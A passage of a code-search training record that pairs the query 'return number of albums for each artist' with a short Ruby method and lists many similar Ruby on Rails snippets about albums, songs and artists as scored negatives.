set_resource\n\t\tnot_found('album') and return unless Album.exists? params[:id]\n\t\t@album = Album.find(params[:id])\n\tend", "def set_album\n @album = Album.find(params[:album_id])\n end", "def set_album\n @album = Album.find(params[:album_id])\n end", "def photo_album(id)\n backup_photo_albums.find_by_source_album_id(id)\n end", "def create\n @album = Album.new(params[:album])\n \n respond_to do |format|\n images = [params[:images]].flatten\n @album.images << Image.find(images) unless images[0].nil?\n \n if @album.save\n format.html { redirect_to(albums_path, :notice => 'Album was successfully created.') }\n format.xml { render :xml => albums_path, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @album = current_user.albums.build(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def album!(options = {})\n user.album!(options)\n end", "def album!(options = {})\n user.album!(options)\n end", "def create\n @album = current_user.albums.build(album_params)\n \n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @album_ownership = AlbumOwnership.new\n @album_ownership.album = @album\n @album_ownership.user = current_user\n\n unless @album_ownership.save\n render json: @album_ownership.errors, status: :unprocessable_entity\n end\n end", "def assign_to_album(album_id)\r\n return if self.is_a?(Board)\r\n \r\n album_id = album_id.is_a?(Album) ? album_id.id : album_id.to_i\r\n unless album_id.blank? or self.album_ids.include?(album_id)\r\n album = Content.active.find_by_id(album_id)\r\n album = nil unless album && album.is_a?(Album) # Allow assigning to album subclasses\r\n album = nil unless album && album.user_id == self.user_id # Don't allow assigning to other users' albums\r\n album = nil if album && self.requires_public_permissions? && !(album && album.public?)\r\n if album && !album.inclusion_allowed?(self)\r\n self.errors.add_to_base(\"Sorry, album doesn't allow this item now\".t)\r\n raise ActiveRecord::RecordInvalid.new(self)\r\n end\r\n if album\r\n #return if self.albums.include?(album)\r\n self.is_in_gallery = false\r\n self.albums << album\r\n\r\n # Set security same as album - NOTE: THIS SCREWS UP ROYALLY if content in more than one album\r\n set_permissions_to( album.relationshiptype_id )\r\n \r\n self.save!\r\n return album\r\n end\r\n end\r\n nil\r\n end", "def assign_to_featured_album\r\n return if self.is_a?(Board)\r\n if self.is_in_startpage\r\n return if self.album_ids.include?(self.user.featured_album.id)\r\n self.albums << self.user.featured_album\r\n self.save!\r\n end\r\n end", "def album(album_id_or_url, options = {})\n options = make_options(:album_id, album_id_or_url, options)\n get(options)\n end", "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @album = Album.new(:account_id => session[:account_id])\r\n \r\n @album.name = params[:album_name]\r\n @album.description = params[:album_description]\r\n if @album.save\r\n return jump_to(\"/albums/#{@album.id}/upload\")\r\n else\r\n flash.now[:error_msg] = \"操作失败, 再试一次吧\"\r\n end\r\n \r\n render(:action => \"new\")\r\n end", "def album_by_title(title, options = {})\n if a = user.albums.find { |a| title === a.title }\n a.load options\n end\n end", "def populate_album_for_first_time(tag)\n @next_max_id = nil\n tag = find_or_create_tag(tag)\n\n 10.times do\n hit_api_to_get_photos\n photo_data = @photo_data # stubbed; will refactor this away later\n add_all_photos_from_one_page(tag.name, photo_data)\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to group_url(@album.group), notice: 'Album was successfully created.' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def save()\n if(@alb_id)\n update()\n return true\n else\n if(! Album.check_if_title_exists(@alb_title))\n insert()\n return true\n else\n return false\n end\n end\n end", "def add_song_to_playlist(song)\n if @playlist.include? song\n return #exit out of function if already exits\n end\n @playlist << song #else add song to playlist array\n end", "def create\n\t\talbum = Album.create(album_params)\n\n\t\tif !album.errors.any?\n\t\t\trender json: album\n\t\telse\n\t\t\trender json: {message: \"Error occurred\"}\n\t\tend\n\tend", "def createalbum\n \tredirect_to(\"/photo/createAlbumPage\")\n end", "def create\n @album = Album.new(allowed_params_album)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n songs = get_kexp_songs()\n idx = 0\n\n while idx < songs['results'].length\n if songs['results'][idx]['playtype']['name'] != \"Media play\"\n idx += 1\n next\n end\n song_title = songs['results'][idx]['track']['name']\n song_artist = songs['results'][idx]['artist']['name']\n \n if !songs['results'][idx]['release']\n song_album = \"\"\n song_release_year = 0\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n if song_album_img = songs['results'][idx]['release']['largeimageuri'] == nil\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n song_album_img = songs['results'][idx]['release']['largeimageuri']\n end\n song_album = songs['results'][idx]['release']['name']\n song_release_year = songs['results'][idx]['releaseevent']['year'].to_i\n end\n \n song_is_local = songs['results'][idx]['artist']['islocal']\n #if song|artist|album don't exist -> create \n if Album.find_by(title: song_album) == nil\n song_artist = song_artist.split('feat.')[0]\n mod_artist = song_artist.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_artist)\n \n #if bad status code -> query by song instead\n if parsed_response[\"status_code\"] > 299 || parsed_response[\"status_code\"] < 200 || parsed_response[\"genre\"] == \"\"\n mod_song = song_title.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_song)\n end\n @album = Album.new(title: song_album, album_img: song_album_img, year: song_release_year, genre: parsed_response[\"genre\"])\n @album.save()\n else \n @album = Album.find_by(title: song_album)\n end\n\n if Artist.find_by(name: song_artist) == nil\n @artist = Artist.new(name: song_artist, is_local?: song_is_local, album: @album)\n @artist.save()\n else \n @artist = Artist.find_by(name: song_artist)\n @artist.update(album: @album)\n end\n if Song.find_by(title: song_title) == nil\n @song = Song.new(title: song_title, artist: @artist)\n @song.save()\n else \n @song = Song.find_by(title: song_title)\n @song.update(artist: @artist)\n end\n idx += 1\n end\n redirect_to songs_path\n end", "def test_song_already_added_to_playlist()\n @room_1.add_song_to_playlist(@song_1)\n @room_1.add_song_to_playlist(@song_1)\n assert_equal(1, @room_1.playlist_count())\n end" ]
[ "0.76650983", "0.7251075", "0.6756253", "0.6748371", "0.66566396", "0.66259724", "0.65905446", "0.65157336", "0.6461365", "0.6450731", "0.6413395", "0.64083856", "0.63962734", "0.6385524", "0.6371382", "0.637038", "0.63059765", "0.6291961", "0.6274533", "0.62670827", "0.62518895", "0.6249091", "0.6225323", "0.621246", "0.61948675", "0.6172843", "0.61556494", "0.6153279", "0.6129118", "0.6123455", "0.6112327", "0.61091095", "0.60961276", "0.60961276", "0.60606873", "0.6060393", "0.60477626", "0.60393274", "0.60244113", "0.6023767", "0.6023528", "0.601598", "0.60132295", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.60066754", "0.6000103", "0.6000103", "0.6000103", "0.6000103", "0.6000103", "0.5998613", "0.5996881", "0.5996536", "0.5985894", "0.5984644", "0.59829175", "0.59809995", "0.5973394", "0.5973394", "0.59635365", "0.59618336", "0.5951116", "0.5922534", "0.5922534", "0.59217674", "0.5921291", "0.59171426", "0.59139305", "0.59087574", "0.5907443", "0.5903295", "0.58966064", "0.58847", "0.5882383", "0.5871613", "0.5871442", "0.5866857", "0.58612067", "0.58523583", "0.5842695", "0.5842112" ]
0.77341413
0
return number of albums for each artist
def number_of_albums() return albums.length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def n_artists\n if ! @n_artists_found\n @n_artists_found = songs_found\n .group_by{ |s| s[IDX_ARTIST_ID] }\n .length\n end\n return @n_artists_found\n end", "def album_count\n return @albums.length\n end", "def artist_count\n return @artists.length\n end", "def number_of_artists\n return @artists.length\n end", "def number_of_artists\n return @artists.length\n end", "def artist_count\n self.artists.count\n end", "def songs_count\n value = 0\n packs.each do |pack|\n value += pack.songs.count\n end\n value += songs.count\n end", "def song_count\n # @artist = self\n # @artist.songs.count\n self.songs.count\n end", "def count_songs\n @songs.size\n end", "def artist_count\n @model.artists.count\n end", "def songs_by_album\n return @count_by_album if @count_by_album\n\n return get_base_relation(true, false)\n .group('albums.id')\n .order('albums.name')\n .pluck('albums.id' , 'albums.name' , 'count(*)')\n\n end", "def better_tracks_query\n albums = self.albums.select(\"albums.*, COUNT(*) AS tracks_count\")\n .joins(:tracks).group(\"albums.id\")\n\n album_counts = {}\n albums.each do |album|\n album_counts[album.title] = album.tracks_count\n end\n\n album_counts\n end", "def songs_count\n \t@songs.count\n end", "def num_items\n backup_photo_albums.size\n end", "def song_count\n return @songs.count\n end", "def number_of_songs()\n return songs.length\n end", "def number_of_songs()\n return songs.length\n end", "def print_artists\n Artist.all.each do |artist|\n check_artist_song_count(artist)\n end\n puts \"There are #{Artist.count} artists in the catalog.\\n\"\nend", "def song_count\n self.songs.count\n end", "def total_songs\r\n self.master_song_relationships.count + self.user_song_uploads.count\r\n end", "def num_of_tracks\n\t\t@tracks.count\t \n\tend", "def song_count\n self.lib.songs.count\n end", "def display_track_count(artist_id)\n\t\tif @artist_list.has_key? artist_id\n\t\t\tartist_info = @artist_list[artist_id]\n\t\t\tputs \"The track count for artist #{artist_info.artist} (#{artist_info.id}) is #{artist_info.tracks.length}\"\n\t\telse\n\t\t\tputs \"Artist with ID #{artist_id} does not exist in database!\"\n\t\tend\n\tend", "def track_count\n return @tracks.length\n end", "def topAlbums(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def size\n return @songs.length\n end", "def track_count\n self.tracks.count\n end", "def albums\n sql = \"SELECT * FROM albums WHERE artist_id = #{@id};\"\n #Select all from albums when the id of the artist we are working on matched the artist_id in albums\n album_list = SqlRunner.run( sql )\n # Save the array to a varibale\n return album_list.map { |album| Album.new(album) }\n # Map the array to a hash.\n end", "def albums()\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map{|albums| Album.new(albums)}\n end", "def top_albums(artist)\n get(:standard, {:method => \"artist.getTopAlbums\", :artist => artist})\n end", "def artist_albums(artist, options = {})\n get \"artists/#{artist}/albums\", options\n end", "def artists\n songs.collect do |song|\n song.artist\n end\n .uniq #does not return duplicate artists if the genre has more than one song by a particular artist (genre has many artists through songs)\n end", "def find_artists\n album_ids = []\n album_results = CONNECTION.execute(\"SELECT * FROM albums_styles WHERE style_id = #{@id};\")\n album_results.each do |hash|\n album_ids << hash[\"album_id\"]\n end\n artist_ids = []\n artist_results = CONNECTION.execute(\"SELECT * FROM albums_artists WHERE album_id IN (#{album_ids.join(\",\")})\")\n artist_results.each do |hash|\n artist_ids << hash[\"artist_id\"]\n end\n \n Artist.find_many(artist_ids)\n end", "def number_of_tracklists\n tracklists.size\n end", "def get_albums\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n albums_data = SqlRunner.run(sql, values)\n albums = albums_data.map { |albums_data| Album.new(albums_data)}\n return albums\n end", "def get_seed_artist_ids\n artist_ids = tracks.flat_map { |track| track.artists.map(&:id) }\n\n artist_counts = Hash.new(0)\n artist_ids.each do |id|\n artist_counts[id] += 1\n end\n artist_counts = artist_counts.sort_by { |id, count| -count }.to_h\n\n multi_artists = artist_counts.select { |id, count| count > 1 }.to_h.keys\n\n if multi_artists.empty?\n []\n else\n multi_artists[0...2]\n end\n end", "def artists\n @songs.map { |m| m.artist }.uniq\n end", "def artists\n @songs.collect{|song| song.artist}.uniq\n end", "def top_albums \n lfm_path = \"artist.topAlbums&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Album.create_from_hash(Hash.from_xml(lfm_data)['lfm']['topalbums']['album'])\n end", "def album_unique?(album_object, artist_object)\n\n albums = self.albums.select{|album| album.artist.present?}\n non_nil_albums = albums.select{|album| album.artist.name == artist_object.name} << album_object.name\n non_nil_albums.length == non_nil_albums.uniq.length\n end", "def artists\n beef = Artist.all.map{|exp| exp.years_active} #all artist\n beef_tot = beef.inject{|sum, n| sum + n} #sum of all\n avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end", "def getAlbumsForArtist(artist,featuring=nil,extras=nil,start=nil,count=nil)\n method = 'getAlbumsForArtist'\n type = Album\n args = {:artist=>artist}\n args[:featuring] = featuring if featuring\n args[:extras] = extras if extras\n args[:start] = start if start\n args[:count] = count if count\n return_object type,method,args\n end", "def total_artist_experience\n sum = 0\n all_artists_by_gallery.map do |artist|\n artist.years_active == Painting.artist.years_active\n sum += artist.years_active\n end\n end", "def song_count\n @song_count = 0 if @song_count.nil?\n @song_count\n end", "def artists\n @songs.collect do |song| #<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">\n song.artist ##<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 ...>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">]>\n end\n end", "def user_song_uploads_total\r\n self.user_song_uploads.count\r\n end", "def albums\n @albums ||= response.albums.uniq(&:name)\n end", "def artists\n songs.map do |song|\n song.artist\n end\n end", "def artists\n songs.map do |song|\n song.artist\n end\n end", "def albums\n # binding.pry\n albums = CONN.execute(\"\n SELECT * FROM artists \n INNER JOIN albums\n ON artists.id = albums.artist_id\"\n )\n albums.map { |album| Album.new(album)}\n end", "def albums\n if params[:artist_id]\n albums = Artist.find(params[:artist_id]).albums\n else\n albums = Album.all\n end\n render json: albums\n end", "def artists\n @songs.collect do |song|\n song.artist\n end\n end", "def artists\n @songs.collect do |song|\n song.artist\n end\n end", "def artists\n songs.map {|song| song.artist}\n end", "def artists\n artists = []\n self.songs.each do |song|\n artists << song.artist\n end\n artists.uniq\n end", "def playlist_count\n return @playlists.length\n end", "def item_count\n titles.size\n end", "def top_five_artists(db, genre_name)\n db.execute \"SELECT artists.name, COUNT(*) as c\n FROM tracks\n JOIN albums ON albums.id = tracks.album_id\n JOIN artists ON artists.id = albums.artist_id\n JOIN genres ON tracks.genre.id = genres.id\n WHERE genres.name = '#{genre_name}'\n GROUP BY artists.name\n ORDER BY c DESC\n LIMIT 5\n \" # TODO: return list of top 5 rock artists\nend", "def count\n each.size\n end", "def artists\n self.songs.collect{|song| song.artist}\n end", "def list_artists\n all_artists = artist_data[\"artists\"][\"items\"]\n all_artists.each do | artist |\n artist_name = artist[\"name\"]\n artists[artist_name] ||= {}\n artists[artist_name][:popularity] = artist[\"popularity\"]\n end\n artists\n end", "def show\n @album = Album.find(params[:id])\n @albums_count = Album.count\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def nbSongs(xml)\n nbSongs = 0\n xml.xpath(\"//TrackNumber\").each { |track| nbSongs = nbSongs + 1}\n return nbSongs\nend", "def read_albums music_file\n albums = Array.new()\n count = music_file.gets()\n\t i = 0\n while (i < count.to_i)\n album = read_album(i,music_file)\n albums << album\n i += 1\n end\n albums\n end", "def total_photos\n created_albums.inject([]) do |total_photos, album|\n if album.photos\n total_photos << album.photos\n else\n total_photos\n end\n end\n .flatten\n end", "def stock_count\n sql = \"SELECT * FROM cars\n WHERE shop_id = $1\"\n value = [@id]\n cars = SqlRunner.run(sql, value)\n result_array = cars.map{|car| Car.new(car)}\n count = result_array.count\n return count\n end", "def i_love_each_of( albums )\n i = 0\n until i == albums.count \n puts \"I <3 #{albums[ i ]}!\" \n i += 1\n end\nend", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def track_artists\n @tracks.collect{ |t| t.artist }.compact.uniq\n end", "def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end", "def artists\n self.songs.map {|song| song.artist}\n end", "def albums\n self.album\n end", "def frequencies_of(option)\n frequencies = Hash.new(0)\n if option == :artists\n artists.each do |artist|\n frequencies[artist] += 1\n end\n frequencies\n elsif option == :genres\n genres.each do |genre|\n frequencies[genre] += 1\n end\n frequencies\n elsif option == :tracks\n tracks.each do |track|\n frequencies[track] += 1\n end\n frequencies\n end\n end", "def playlist_count()\n return @playlist.length\n end", "def read_albums\r\n count = 1\r\n\talbums = Array.new\r\n\tindex = 0\r\n\twhile (index < count)\r\n\t\talbum = read_album()\r\n\t\talbums << album\r\n\t\tindex += 1\r\n\tend\r\n\r\n\talbums\r\nend", "def count_items(cart)\n\tcart.each do |item|\n\t\titem.each do |name, data|\n\t\t\tdata[:count] += 1\n\t\tend\n\tend\n\tcart.uniq\n\t# deletes duplicates of the same object\nend", "def albums_with_one_song(n = 10)\n single_songs = []\n @albums.each do |a|\n b = @tracks.find_all {|s| s.album == a}\n single_songs << b.first unless b.length > 1\n end\n return single_songs[0..n-1]\n end", "def total_shows\n self.shows.count\n end", "def count\r\n items.size\r\n end", "def total_birds\n birds.count\n end", "def master_song_relationships_total\r\n self.master_song_relationships.count\r\n end", "def count\n each.count\n end", "def item_count()\n @names.count\n end", "def artist_years\n self.artists.reduce(0) do |accumulator, artist|\n accumulator += artist.years_active\n end\n end", "def artists\n songs.collect do |song|\n song.artist\n\n end\nend", "def count_members\n @band.count\n end", "def print_albums albums\r\n\ttimes = albums.length\r\n\tindex = 0\r\n\twhile (index < times)\r\n\t\tprint_album(albums[index])\r\n\t\tindex += 1\r\n\tend\r\nend", "def count_items\n detalles.count\n end", "def get_counts(args = {})\r\n Net::Flickr.instance().request('flickr.photos.getCounts', args).at('photocounts')\r\n end", "def count_item\n count = 0\n @g_net.each do |followers|\n count += 1 unless !followers or followers.empty?\n end\n count\n end", "def instruments\n @instruments ||= Instrument.find self.tracks.count(:include => :instrument, :group => 'instrument_id').map(&:first)\n end", "def total_orbit_count(orbit_map)\n count = 0\n orbit_map.each{|satellite, _|\n central_objects = orbit_count(orbit_map, satellite)\n # puts \"Satellite %s orbits %d objects\" % [satellite, central_objects]\n count += central_objects\n }\n count\nend", "def count_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.length\n end\n end", "def animal_count\n @inventory.length\n end", "def get_albums(url)\n # should return albums\n # List of Hashes\n \n # must implement \n # - custom site parser\n end", "def photos_count(photos_rovers)\n\n info_cam = {} \n camera_name = []\n\n photos_rovers.each do |cam|\n info_cam = cam\n camera_name.push(info_cam['camera'])\n end\n \n camera_count = Hash.new(0)\n\n camera_name.each do |num|\n camera_count[num] += 1\n end\n\n photos_div = '\n <div class=\"container p-5\" style=\"margin-top: 100px;\">\n <div class=\"container border border-dark rounded p-2\" style=\"background-color: #D5D8DC;\">\n <div class=\"row col-md-10\">\n <div class=\"col\"><h5>Cámara</h5></div>\n <div class=\"col\"><h5>Cantidad de Fotos</h5></div>\n '\n\n camera_count.each do |name, num, full_name|\n name = name['full_name'] +' (' +name['name'] +')'\n photos_div += \"\n <div class='w-100'></div>\n <div class='col'>#{name}</div>\n <div class='col'>#{num.to_s}</div>\"\n end\n\n photos_div += \"\n <div class='w-100'></div>\n <div class='col mt-2'><h5>Total de Fotos</h5></div>\n <div class='col mt-2'><h5>#{photos_rovers.count}</h5></div>\n </div>\n </div>\n </div>\n \"\n\n return photos_div\n\nend", "def count_items\n @items.size\n end", "def genre_count(hash)\n\thash.group_by { |k, v| v[:genre] }.map { |k, v| { k => v.count } }\nend", "def count_elements(animals)\n animal_hash = {}\n animals.each do |animal| \n animals.count(animal)\n animal_hash[animal] = animals.count(animal)\n end\n animal_hash\nend" ]
[ "0.8056814", "0.79768664", "0.7956528", "0.7723143", "0.7723143", "0.7710555", "0.74543566", "0.7441568", "0.7290731", "0.7267044", "0.72110516", "0.7124177", "0.7040718", "0.6973167", "0.6858657", "0.68029535", "0.68029535", "0.6735112", "0.6706813", "0.6559741", "0.65597236", "0.6483762", "0.64782804", "0.646395", "0.6423205", "0.63419265", "0.6329812", "0.63295525", "0.6305164", "0.62783253", "0.62503874", "0.6233119", "0.6204798", "0.61858064", "0.61847246", "0.6178553", "0.6165114", "0.6156827", "0.6149329", "0.61386675", "0.6124335", "0.6123695", "0.61214405", "0.60840654", "0.60756236", "0.6055072", "0.60508835", "0.603062", "0.603062", "0.60246587", "0.6023035", "0.6018957", "0.6018957", "0.599457", "0.59758365", "0.5957468", "0.59539276", "0.59359574", "0.592115", "0.5908867", "0.5900712", "0.5871103", "0.58627367", "0.58583", "0.5853646", "0.58501434", "0.58447295", "0.5843621", "0.5838224", "0.58378077", "0.5833429", "0.5827438", "0.58096933", "0.5802645", "0.57921165", "0.5780753", "0.57688063", "0.5767278", "0.5763353", "0.57613707", "0.5753674", "0.57532614", "0.57401806", "0.57338756", "0.572738", "0.5727273", "0.57151884", "0.5706985", "0.57059646", "0.57032865", "0.56904805", "0.5688403", "0.56882566", "0.5682593", "0.5682508", "0.56698567", "0.5666622", "0.56638324", "0.56618494" ]
0.8032594
2
add artist to Top 10 and check if number of artist is not more than 10
def add_artist(new_artist) if @artists.length > 10 @artists.shift else @artists.push(new_artist) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_artist(new_artist)\n @artists.length > 10 ? @artists.shift : @artists.push(new_artist)\n end", "def top_tracks_for_random_artist\n unless @artist\n @artist = Lineup.select_random_artist\n end\n\n options = { :query => { :api_key => LASTFM_API_KEY, :limit => \"10\", :format => \"json\" } }\n top_tracks_response = self.class.get(\"/2.0/?method=artist.gettoptracks&artist=#{ERB::Util.url_encode(@artist)}\",options)\n\n top_tracks_response = top_tracks_response.try(:[],\"toptracks\").try(:[],\"track\")\n if top_tracks_response\n top_tracks_response\n else\n @artist = nil\n top_tracks_for_random_artist\n end\n end", "def top_artists\n \n artists=[]\n spotify_artists = JSON.parse(api_call(\"https://api.spotify.com/\",\"v1/me/top/artists\"))\n\n spotify_artists['items'].each do |item|\n new_artist = Artist.find_or_create_by(name: item['name'], spotify_id: item['id'])\n new_artist.update(genre_list: item['genres'])\n artists << new_artist\n end\n\n artists\n\n end", "def top_five_artists(db, genre_name)\n db.execute \"SELECT artists.name, COUNT(*) as c\n FROM tracks\n JOIN albums ON albums.id = tracks.album_id\n JOIN artists ON artists.id = albums.artist_id\n JOIN genres ON tracks.genre.id = genres.id\n WHERE genres.name = '#{genre_name}'\n GROUP BY artists.name\n ORDER BY c DESC\n LIMIT 5\n \" # TODO: return list of top 5 rock artists\nend", "def test_top_musicians\n users = User.find_top_musicians\n assert_equal 2, users.size\n assert users.all? { |u| u.tracks_count >= 2 }\n assert users.all? { |u| !u.avatar.nil? }\n end", "def top_photo?\n if self.albums.length >= 3\n true\n else\n false\n end\n end", "def filter_articles(articles)\n include PopularitySearch\n #this isn't fair to more recent articles\n popularity_cutoff = 300\n articles.each do |article|\n article[:twitter_pop] = twitter_popularity(article[:url])\n end\n articles.select do |article|\n article[:twitter_pop] > popularity_cutoff\n end\n articles = articles.sort_by{|article| article[:twitter_pop]}.reverse\n return articles[0..2] #only pick the top 3 if there's more than 3\nend", "def top_10 (matches)\n matches.sort_by! { |match| match['score'] }.reverse[:10]\nend", "def get_top_artists( params )\n LastFM.get( \"chart.getTopArtists\", params )\n end", "def n_artists\n if ! @n_artists_found\n @n_artists_found = songs_found\n .group_by{ |s| s[IDX_ARTIST_ID] }\n .length\n end\n return @n_artists_found\n end", "def find_most_played_songs\n top_songs_with_play_count_pair = self.lib.songs.reject do |song|\n #this line is describing records it will get rid of\n (!song.metadata.has_key?('play_count')) or (song.metadata['play_count'] == nil)\n end\n\n top_songs_played_sorted = top_songs_with_play_count_pair.sort do |a, b| \n b.metadata['play_count'].to_i <=> a.metadata['play_count'].to_i\n end\n\n top_songs_played = top_songs_played_sorted.first(5)\n song_names_of_top_played = top_songs_played.collect {|song| song.metadata['name']} \n end", "def top_ten\n sorted = @person_array.sort { |a, b| a.awesomeness <=> b.awesomeness }\n sorted.reverse!\n return sorted[0..9] if sorted.size >= 10\n return sorted\n end", "def set_top_10_related_sub_reddits\n @top_10_related_sub_reddits = RelatedSubReddit\n .order(weight: :desc)\n .limit(20)\n .all\n .to_a\n .each_slice(2).map(&:last)\n end", "def getTop10AwesomePeeps\n @persons.sort!\n return @persons[-10..-1]\n end", "def top_songs(n = 3)\n top_list = @tracks.sort_by {|s| s.play_count}.reverse\n return top_list[0..n-1].compact\n end", "def artist_top_tracks(artist, options = {})\n get \"artists/#{artist}/top-tracks\", options\n end", "def more_songs\n get_songs\n return @page_size && @songs.count == @page_size\n end", "def number_of_artists\n return @artists.length\n end", "def number_of_artists\n return @artists.length\n end", "def top_artists(spot_user)\n @top_artists_hash = {}\n spot_user.top_artists[0..19].each do |fav|\n @top_artists_hash[fav.name] = {}\n\n @user_artist_related[fav.name].each do |fav_rel_art|\n @top_artists_hash[fav.name][fav_rel_art] = {}\n \n @rel_artist_rec[fav_rel_art].each do |user_also_rec|\n if fav.name != user_also_rec\n @top_artists_hash[fav.name][fav_rel_art][user_also_rec] = \"1\"\n end\n end\n if @top_artists_hash[fav.name][fav_rel_art] == {}\n @top_artists_hash[fav.name][fav_rel_art][\"none\"] = \"0\" \n end\n end\n end\n @top = @top_artists_hash.to_json\n\n end", "def top_ten\n reverse_sort = self.sort.reverse\n return reverse_sort[0, 10]\n end", "def build_user_top_artist_data\n\n tracks = []\n\n user_top_artists = top_artists\n\n user_top_artists.each do |artist|\n tracks.concat(get_top_tracks(artist))\n end\n\n create_needed_profiles(tracks)\n\n user_top_artists\n\n end", "def topAlbums(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def topTracks(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettoptracks&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def top_artists(tag)\n get(:standard, {:method => \"tag.getTopArtists\", :tag => tag})\n end", "def top_numbers?\n true\n end", "def findTopMovies(actor, top_number=100) \r\n movie_array = []\r\n\r\n actor.film_actor_hash.each_key {|key| movie_array.push(key)}\r\n\r\n return movie_array.take(top_number)\r\nend", "def artist_count\n return @artists.length\n end", "def top_tracks(artist)\n get(:standard, {:method => \"artist.getTopTracks\", :artist => artist})\n end", "def sort_by_popularity\n @song_data = @song_data.sort_by {|x| [-x[:plays], x[:index]] }\n end", "def return_cards_from_top(count)\n if cards and count > 0\n cards.where(\"card_order > ?\", (get_top_order-count) )\n end\n end", "def top_five(db)\r\n\t \tputs \"\\t -- Top Five -- \"\r\n\t \tputs \" - - Title - - Rating - - Comments - - \"\r\n\t\tmovie = db.execute(\"SELECT * FROM movies WHERE rating = 10 ORDER BY title ASC LIMIT 5\")\r\n\t\tmovie.each do |mov|\r\n\t\t\tprintf \" * %-13s| %-4s| %-5s\\n\", \"#{mov['title']}\", \"#{mov['rating']}\", \"#{mov['comments']}\"\r\n\t\tend\r\n\t\tputs\"-\"*60\r\n\tend", "def top_fans(artist)\n get(:standard, {:method => \"artist.getTopFans\", :artist => artist})\n end", "def test_stories_find_top\n assert_not_nil @rdigg.stories.find_top(:count => 3)\n end", "def authors_top\n\t\t\t@db.js('musicthoughts.top_authors($1)', [20])\n\t\tend", "def show\n @scores = @music.machine.get_top_scores(@music.season, num: nil)[@music]\n end", "def top_albums(artist)\n get(:standard, {:method => \"artist.getTopAlbums\", :artist => artist})\n end", "def list_artists\n all_artists = artist_data[\"artists\"][\"items\"]\n all_artists.each do | artist |\n artist_name = artist[\"name\"]\n artists[artist_name] ||= {}\n artists[artist_name][:popularity] = artist[\"popularity\"]\n end\n artists\n end", "def ranked_medals(top = 56)\n Medal.find(:all, :conditions => [\"playlist_type = ? AND gamertag_id = ? AND quantity > ?\", 1, self.id, 0], :order => 'quantity DESC', :include => :medal_name, :limit => top)\n end", "def show_most_popular\n @card_sets = CardSet.order(\"impressions_count DESC\")[0..19]\n end", "def index\n @most_played_artist = Song.most_played_artist\n @most_played_by_artist = Song.find_most_played_by_artist :limit => 3\n\n @most_played_players = User.find_players_of_artist(@most_played_artist, :limit => 4)\n\n @most_played_tags = 